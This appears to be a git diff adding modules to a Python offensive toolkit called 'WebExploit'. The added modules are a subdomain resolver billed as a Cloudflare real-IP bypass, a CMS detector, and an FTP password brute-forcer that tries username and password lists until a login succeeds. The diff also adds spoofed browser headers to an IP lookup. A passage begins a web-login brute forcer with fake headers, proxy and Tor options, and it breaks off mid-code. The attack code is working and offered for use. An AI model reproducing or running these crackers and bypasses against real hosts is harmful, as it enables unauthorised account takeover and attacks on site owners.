+ url = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}C.F.B/{bold}URL{nbold}{f.WHITE} enter \'{bold}URL{nbold}\' [ex: youtube.com]:#{f.GREEN}{bold} ')
+ print(f'{nbold}')
+
+ if url:
+ if 'http' not in url:
+ break
+ if 'https://' not in url:
+ break
+ else:
+ print(f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] ENTER URL WITHOUT {bold}HTTP:// OR HTTPS://{nbold} TRY AGAIN . . .\n')
+ t.sleep(1)
+ continue
+ else:
+ continue
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ # break
+ sys.exit(0)
+
+ subdomain = (f'{os.getcwd()}/cores/subdomains.txt')
+ subdomains = open(subdomain, 'r').read().split()
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}C.F.B/{f.CYAN}DEFAULT{f.WHITE}] OPENNING {bold}DEFAULT{nbold} TOP SUBDOMAINS FILE {bold}{f.GREEN}\n')
+ t.sleep(2)
+ print (f' {nbold}{f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}W.P.F/{f.CYAN}DEFAULT{f.WHITE}] LOADED {bold}%s SUBDOMAINS{nbold}{f.GREEN} SUCCESS ...{white}\n' % len(subdomains))
+ t.sleep(2)
+ try:
+ for sub in subdomains:
+ try:
+ finally_host = str(sub) + "." + str(url)
+ bypassed_host = socket.gethostbyname(str(finally_host))
+
+ print (f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}CFB/{f.WHITE}STATUS-{bold}{f.GREEN}SUCCESS{nbold}{f.WHITE}] REAL-IP-ADDR {f.WHITE}~> [{f.GREEN}{bold}{bypassed_host}{nbold}{f.WHITE}]---[{finally_host}] \n')
+
+ except Exception as socket_err:
+ print (f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}CFB/{f.WHITE}STATUS-{bold}{f.RED}ERROR{nbold}{f.WHITE}] CAN\'T BYPASS ERROR: {f.WHITE}~> [{f.RED}{bold}{socket_err}{nbold}{f.WHITE}]---[{finally_host}] \n')
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ sys.exit(0)
+
+
+
+
diff --git a/cores/cms.py b/cores/cms.py
new file mode 100644
index 0000000..b8d8f11
--- /dev/null
+++ b/cores/cms.py
@@ -0,0 +1,161 @@
+def run():
+ '''
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+ try:
+ import time as t
+ from colorama import Fore as f
+ import sys, os
+ import builtwith
+ from random import choice
+ except:
+ print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !")
+ t.sleep(1)
+ sys.exit()
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+
+ bnr = ['''
+ ▄████▄ ███▄ ▄███▓ ██████
+ ▒██▀ ▀█ ▓██▒▀█▀ ██▒ ▒██ ▒
+ ▒▓█ ▄ ▓██ ▓██░ ░ ▓██▄
+ ▒▓▓▄ ▄██ ▒██ ▒██ ▒ ██▒
+ ▒ ▓███▀ ▒▒██▒ ░██▒ ▒██████▒▒
+ ░ ░▒ ▒ ░░ ▒░ ░ ░ ▒ ▒▓▒ ▒ ░
+ ░ ▒ ░░ ░ ░ ░ ░▒ ░
+ ░ ░ ░ ░ ░ ░
+ ░ ░ ░ ░ ░ ''', '''
+ ▄▄· • ▌ ▄ ·. .▄▄ ·
+ ▐█ ▌▪ ·██ ▐███▪ ▐█ ▀.
+ ██ ▄▄ ▐█ ▌▐▌▐█· ▄▀▀▀█▄
+ ▐███▌ ██ ██▌▐█▌ ▐█▄▪▐█
+ ·▀▀▀ ▀▀ █▪▀▀▀ ▀▀▀▀ ''', '''
+ ______ ____ ____ _______
+ ./ ___ | |_ \ / _| / ___ |
+ / ./ \_| | \/ | | (__ \_|
+ | | | |\ /| | '.___\-.
+ \ \.___.'\ _| |_\/_| |_ |\\____) |
+ \._____.' |_____||_____| |_______.' ''']
+
+ def r_bnr(bnr):
+ return choice(bnr)
+
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+ print(f' {italic}From{ended} : ', end='')
+ #create flush text [simple]
+ print(f'{red}{bold}', end='', flush=True)
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m" # tahe koskholi !
+ t.sleep(1)
+ print(f'{white}{nbold}')
+
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}CMS{f.GREEN}]{f.WHITE}{f.RED} C.M.S{f.WHITE}{bold} C{nbold}ontent {bold}M{nbold}anagement {bold}S{nbold}ystem Detector T00L !\n\n\n')
+ t.sleep(3)
+
+
+ while True:
+ try:
+ url = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}C.M.S/{bold}WP-URL{nbold}{f.WHITE} enter \'{bold}URL{nbold}\' [ex: https://youtube.com]:#{f.GREEN}{bold} ')
+ print(f'{nbold}')
+
+ if url:
+ if 'http' in url or 'https' in url:
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}C.M.S/{f.CYAN}Skipper{f.WHITE}] SKIPPING ADD {bold}{f.GREEN} HTTP://{nbold} to [{green}{bold}{url}{nbold}]\n')
+ t.sleep(2)
+ break
+ if 'http' not in url or 'https' not in url:
+ print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}C.M.S/{f.CYAN}Adder{white}] AUTOMATICALLY ADDING {bold}{f.GREEN} HTTP://{nbold} to [{green}{bold}{url}{nbold}]\n')
+ url = (f'http://{url}')
+ t.sleep(2)
+ break
+ else:
+ continue
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ # break
+ sys.exit(0)
+ try:
+ information_url = builtwith.parse(url)
+ except Exception as builtwith_error:
+ print (f' {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}C.M.S/{f.GREEN}GET-CMS-INFO{white}] {nbold}{f.CYAN} ERROR : \' {bold}{builtwith_error}{nbold} \' \n')
+ t.sleep(3)
+ sys.exit(0)
+ try:
+ for n in information_url:
+ val = ''
+ for mji in information_url[str(n)]:
+ n = n.replace('-',' ')
+ n = n.title()
+ val += str(mji)
+
+ print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}CMS/{f.WHITE}NAME >>>{bold}{f.CYAN} {n} {nbold}{f.WHITE}] {f.WHITE}~> [{f.RED}{bold}{val}{nbold}{f.WHITE}] \n')
+ t.sleep(0.5)
+ except Exception as information_url_error:
+ print (f' {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}C.M.S/{f.GREEN}CMS-INFO-URL{white}] {nbold}{f.CYAN} ERROR : \'{bold}{information_url_error}{nbold}\' \n')
+ t.sleep(3)
+ sys.exit(0)
diff --git a/cores/dirboster.py b/cores/dirboster.py
index 78bcb9a..3780aee 100644
--- a/cores/dirboster.py
+++ b/cores/dirboster.py
@@ -41,6 +41,7 @@ def run():
bold = "\033[1m"
nbold = "\033[0m"
italic = "\033[3m"
+ red = "\033[0;31m"
# {bold}
# {nbold}
print(f'{bold}')
@@ -96,7 +97,8 @@ def run():
t.sleep(1)
except FileNotFoundError:
- dirs = open("default-dirs.txt" , 'r').read().split()
+ filedefault = (f'{os.getcwd()}/cores/wp-plugins.txt')
+ dirs = open(filedefault, 'r').read().split()
print (f'\n {f.WHITE}[{f.RED}{bold}ERROR{nbold}{f.WHITE}]{f.YELLOW} You Not Entered {bold}DirPaths{f.WHITE}{nbold}[{bold}{f.YELLOW}FILE{nbold}{f.WHITE}] USING {bold}{f.GREEN}DEFAULT FILE !{nbold}{f.WHITE}\n')
print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{nbold}{f.WHITE}@{nbold}{f.RED}DirBoster/{f.WHITE}LOAD-{bold}DEFAULT{nbold}{f.WHITE}] LOADED {bold} %s {nbold} DirPaths {bold}Successfully...{nbold}\n\n' % len(dirs))
t.sleep(1)
diff --git a/cores/fpc.py b/cores/fpc.py
new file mode 100644
index 0000000..606f802
--- /dev/null
+++ b/cores/fpc.py
@@ -0,0 +1,215 @@
+def run():
+ '''
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+
+ try:
+ import time as t
+ from colorama import Fore as f
+ import sys, os
+ from ftplib import FTP
+ import ftplib
+ from random import choice
+ except:
+ print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !")
+ t.sleep(1)
+ sys.exit()
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+
+ bnr = ['''
+ )`-.--. /`-. )\.-.
+ ) .-._( / _ \ / .-._)
+ \ `-._ ( '-' ( ( . _
+ ) ._( ) .._.' ) '..' )
+ ( \ ( ' ( . (
+ )./ )/ )/'._.' ''', '''
+ ______ __ ___
+ (_) | /|/ \ /\__)
+ |__ |___/ |
+ /| _| |
+ (_/ | \___/ ''','''
+ █████ ██▓███ ▄████▄
+ ▓██ ▓██░ ██ ▒██▀ ▀█
+ ▒████ ▓██░ ██▓▒ ▒▓█ ▄
+ ░▓█▒ ▒██▄█▓▒ ▒ ▒▓▓▄ ▄██
+ ▒░▒█░ ▒██▒ ░ ░ ▒ ▓███▀
+ ░ ▒ ░ ▒▓▒░ ░ ░ ░ ░▒ ▒
+ ░ ░ ░▒ ░ ░ ▒
+ ░ ░ ░░ ░
+ ░ ░ ░ ''']
+
+ def r_bnr(bnr):
+ return choice(bnr)
+
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+ print(f' {italic}From{ended} : ', end='')
+ #create flush text [simple]
+ print(f'{red}{bold}', end='', flush=True)
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m" # tahe koskholi !
+ t.sleep(1)
+ print(f'{white}{nbold}')
+
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}FPC{f.GREEN}]{f.WHITE}{f.RED} F.P.C {f.WHITE}{bold}F{nbold}T{bold}P C{nbold}racker T00L !\n\n\n')
+ t.sleep(3)
+
+ while True:
+ try:
+ host = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}HOST{nbold}{f.WHITE} enter {bold}\'IP or HOST ADDR{nbold}\' [ex: 1.1.1.1, ftp.site.com]:#{f.GREEN}{bold} ')
+ print(f'{nbold}')
+
+ if host:
+ break
+ else:
+ continue
+
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+ # break
+ sys.exit(0)
+ try:
+ ftp = FTP(host)
+ except ftplib.all_errors as ftp_error:
+ print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}F.P.C/{f.GREEN}Modules-Loader{white}] {nbold}{f.CYAN} ERROR : \'{bold}{ftp_error}{nbold}\' \n')
+ sys.exit(0)
+ t.sleep(1)
+ print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}FTP-CRACKER{nbold}{f.YELLOW} If You Know {bold}USERNAME {nbold}Give A File With 1 Username !{white}]')
+ t.sleep(3)
+
+ while True:
+ usernames = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}FTP-CRACKER{nbold}{f.WHITE} enter \'USERNAME LIST{nbold}\' [ex: FTP-users.txt]:#{f.GREEN}{bold} ')
+ if usernames:
+ try:
+ users = open(usernames, 'r').read().split()
+ # users.close()
+ break
+ except Exception as file_err:
+ print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}F.P.C/{f.GREEN}Usernames{white}] {nbold}{f.CYAN} ERROR : \'{bold}{file_err}{nbold}\' \n')
+ t.sleep(1)
+ continue
+ t.sleep(1)
+
+
+ while True:
+ passwords = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}FTP-CRACKER{nbold}{f.WHITE} enter \'Password LIST{nbold}\' [ex: /home/WebExploit/Desktop/FTP-passwords.txt]:#{f.GREEN}{bold} ')
+ if passwords:
+ try:
+ passes = open(passwords, 'r').read().split()
+ # passes.close()
+ break
+ except Exception as file_err:
+ print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}F.P.C/{f.GREEN}Passwords{white}] {nbold}{f.CYAN} ERROR : \'{bold}{file_err}{nbold}\' \n')
+ t.sleep(1)
+ continue
+ t.sleep(1)
+
+ print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}FTP-CRACKER{nbold}{f.YELLOW} Loadind modules {bold}FTP-cracker . . . !{nbold}]')
+ t.sleep(3)
+
+ try:
+ ftp = FTP(host)
+ except ftplib.all_errors as ftp_error:
+ print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}F.P.C/{f.GREEN}Modules-Loader{white}] {nbold}{f.CYAN} ERROR : \'{bold}{ftp_error}{nbold}\' \n')
+ sys.exit()
+
+ print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}FTP-CRACKER/{nbold}{f.GREEN}ATTACK{bold} launching ATTACK in{white}]', end='', flush=True)
+ t.sleep(1)
+ print (' 5 ', end='', flush=True)
+ t.sleep(1)
+ print (' 4 ', end='', flush=True)
+ t.sleep(1)
+ print (' 3 ', end='', flush=True)
+ t.sleep(1)
+ print (' 2 ', end='', flush=True)
+ t.sleep(1)
+ print (' 1 ', end='', flush=True)
+ t.sleep(1)
+ print (' 0 ', end='', flush=True)
+
+ t.sleep(3)
+ print(f'\n\n\ {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}FTP-CRACKER/{nbold}{f.YELLOW}ATTACK{green}{bold} LAUNCHED . . .{white}]\n')
+ try:
+ for username in users:
+ for password in passes:
+ try:
+ log = ftp.login(username,password)
+ # if 'OK' in log:
+ print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}{green}INFO{nbold}{f.WHITE} User: {bold}{green}\'{username}{nbold}{white}\' Passowrd: {bold} \'{green}{password}{nbold}{white}\' {bold}{green} SUCESSFULL !')
+ t.sleep(1)
+ print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}{green}INFO{nbold}{f.WHITE} server response msg: {bold}{green}[{log}]')
+ break
+ sys.exit(0)
+
+ except ftplib.all_errors as FTP_error:
+ print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}F.P.C/{bold}{green}INFO{nbold}{f.WHITE} User: {bold}{red}\'{username}{nbold}{white}\' Passowrd: {bold} \'{red}{password}{nbold}{white}\' {bold}{red} Not SUCESSFULL ! {nbold}{white} Because: {yellow}{bold}{FTP_error}')
+ continue
+ except KeyboardInterrupt:
+ print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .')
+ t.sleep(2)
+
diff --git a/cores/ipl.py b/cores/ipl.py
index 3f44e5d..4f99dd9 100644
--- a/cores/ipl.py
+++ b/cores/ipl.py
@@ -40,12 +40,13 @@ def run():
from colorama import Fore as f
import requests as r
from random import choice
- #from fake_headers import Headers
+ from fake_headers import Headers
except:
print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !")
t.sleep(1)
sys.exit()
-
+ global my_ip
+ my_ip = "Unknown [Can't Get Your Ip]"
black = "\033[0;30m"
red = "\033[0;31m"
green = "\033[0;32m"
@@ -168,8 +169,8 @@ def r_bnr(bnr):
print (f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}I.P.L/{f.CYAN}CHECKER{f.WHITE}] {bold}IP VERIFIED {nbold}[{bold}{green}{address}{nbold}{white}]\n')
#make request
-
- response = r.get(f_url)
+ headers = Headers(browser='opera',os='win',headers=True).generate()
+ response = r.get(f_url, headers=headers)
response_js = response.text
texts = json.loads(response_js)
diff --git a/cores/mojiana.py b/cores/mojiana.py
new file mode 100644
index 0000000..3cc0b6a
--- /dev/null
+++ b/cores/mojiana.py
@@ -0,0 +1,916 @@
+def run():
+ '''
+ 'MJI 3> ARI'
+ _____________
+ MIT License
+
+Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r]
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+'''
+ try:
+ import time as t
+ from colorama import Fore as f
+ import sys, os
+ import requests as r
+ import socket
+ from random import choice
+ from fake_headers import Headers
+ from fake_useragent import UserAgent
+ except Exception as pip_error:
+ print("\033[0;31m %s run command \n\t\033[0;32m pip install -r requirements.txt !" % (pip_error))
+ t.sleep(1)
+ sys.exit()
+ global proxy_type
+ global proxy_use
+ global use_header
+ global slep
+ global tor_use
+ global auth_type
+ global auth_text
+ global method
+ global get_param
+
+ black = "\033[0;30m"
+ red = "\033[0;31m"
+ green = "\033[0;32m"
+ brown = "\033[0;33m"
+ blue = "\033[0;34m"
+ purple = "\033[0;35m"
+ cyan = "\033[0;36m"
+ l_gray = "\033[0;37m"
+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+ t.sleep(1)
+
+
+ bnr = ['''
+ ░ ▄▄
+ ▄▄█▓▄██████▒
+ ▄▓█▀▀▀▀ ▄ ▀▀▀██▄▄▄
+ ▄▄▄▓▀▀▐▄ ▄▄▄███▀▀▀▀▀▀▀▀▀█▄▄█▓▒▌
+ ▄▒▀▀█▄▄█████▀▀ ▄ ▄▌▀██████████▓██▄▄
+ ░▓███████▀▀ ▄▄█████▄███▀▀▀▀▀▓███░▀▀▀
+ ▄███▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▓▓██████▀▀██▐▄
+ ▌▌▓░▌▓▀██████ ▀██▄▀████▓█████████▄▀█▓▒▀
+ ░░▐░░░▐ █████ ▀███▄ ██░▐▌█▓▌▄▄███▌▀▐▌
+ ▌ ░░ ▐ ▀▀▀▀██▄▐▓▓███▄ ▀██▓███████ ▄█▀
+ ▐ ░░▐ ▐░▐▐ ▓█▐██▓████▄ ▀▀▀▀▀█▄▄███
+ ░▐▐ ░▓██▓▀█▌▐▀▀▐█▓██▐██▓██▓▒
+ ▐ ░░▌░▐ █▌▌ ▐▌▌██▐▌▓░▀█▐
+ ░░▌░▐ █▌▒ ▐▀▓▐▐▐▌▓ ▌▓▓
+ ░░▌░▐ ▌▌▐ ▐▐▓░▐▐▌▒ ░▓▐
+ ▐ ▌ ▐ ▀ ▐ ▐▐ ░░▐▌▒
+ ░ ▐ ░░ ░
+ ▐ ░░ ░
+ ░░ ░
+ ▐ ''']
+
+ def r_bnr(bnr):
+ return choice(bnr)
+ print(f'{bold}{l_red}')
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+
+ print(f'{blink}{l_green}', end='', flush=True)
+ print('E', end='', flush=True)
+ t.sleep(0.2)
+ print('Y', end='', flush=True)
+ t.sleep(0.5)
+ print('E', end='', flush=True)
+ t.sleep(0.3)
+ print('-', end='', flush=True)
+ t.sleep(0.6)
+ print('C', end='', flush=True)
+ t.sleep(0.3)
+ print('R', end='', flush=True)
+ t.sleep(0.2)
+ print('A', end='', flush=True)
+ t.sleep(0.2)
+ print('C', end='', flush=True)
+ t.sleep(0.5)
+ print('K', end='', flush=True)
+ t.sleep(0.5)
+ print('E', end='', flush=True)
+ t.sleep(0.5)
+ print('R', end='', flush=True)
+ t.sleep(2)
+ print(f'{nbold}', end='', flush=True)
+ print(f' {italic} From{ended} : ', end='')
+ #create flush text [simple]
+ print(f'{red}{bold}', end='', flush=True)
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m" # tahe koskholi !
+ t.sleep(1)
+ print(f'{white}{nbold}')
+
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}EYE{f.GREEN}]{f.WHITE}{f.RED} For The Eyerlinear + MJI 3> ARI {f.WHITE}{bold} E{nbold}Y{bold}E {nbold}CRACKER !\n\n\n')
+ t.sleep(3)
+
+
+ def _fake_hed(bw_ = ['chrome','firefox','opera'], os_ = ['win','mac'',lin']):
+ browser = choice(bw_)
+ operation_system = choice(os_)
+ return Headers(
+ browser=browser,
+ os=operation_system,
+ headers=True).generate()
+ fake_hed = _fake_hed()
+
+ print(f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] auth text: True TEXT: if this text {bold}{green}in{white}{nbold} site.html[text] content EYE CRACKER {bold}alert {nbold}[{green}{bold}PASSWORD FOUND{white}{nbold}] !\n')
+ t.sleep(2)
+ print(f' {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] auth text: False TEXT: if this text {bold}{green}not in {white}{nbold}site.html[text] content EYE CRACKER {bold}alert {nbold}[{green}{bold}PASSWORD FOUND{white}{nbold}] !\n')
+ t.sleep(2)
+ print(f' {f.WHITE}[{f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] auth text: EX > False TEXT ~> {bold}password incorrect.{nbold}\n')
+ t.sleep(2)
+ print(f' {f.WHITE}[{f.YELLOW}{bold}WARNING{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER{nbold}{f.WHITE}] auth text: EX > True TEXT ~> {bold}logout{nbold}\n')
+ t.sleep(2)
+
+ while True:
+ try:
+ auth_type = input(f' {f.WHITE}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}AUTH-TEXT{nbold}{f.WHITE}] enter \'{bold}AUTH-TYPE{nbold}\' [ex: {bold}\'false [text]\' or \'true [text]\'{nbold}]:#{l_green}{bold} ').lower()
+ if auth_type:
+ if auth_type == 'true':
+ print (f'\n {f.WHITE}{nbold}[{f.RED}{bold}WebExploit{f.WHITE}{nbold}@{f.CYAN}EYE-CRACKER/{bold}AUTH-TYPE{nbold}{f.WHITE}]{f.WHITE} >>> {bold}TRUE[text]{nbold}\n')
+ #auth_type = in
+ break
+ if auth_type == 'false':
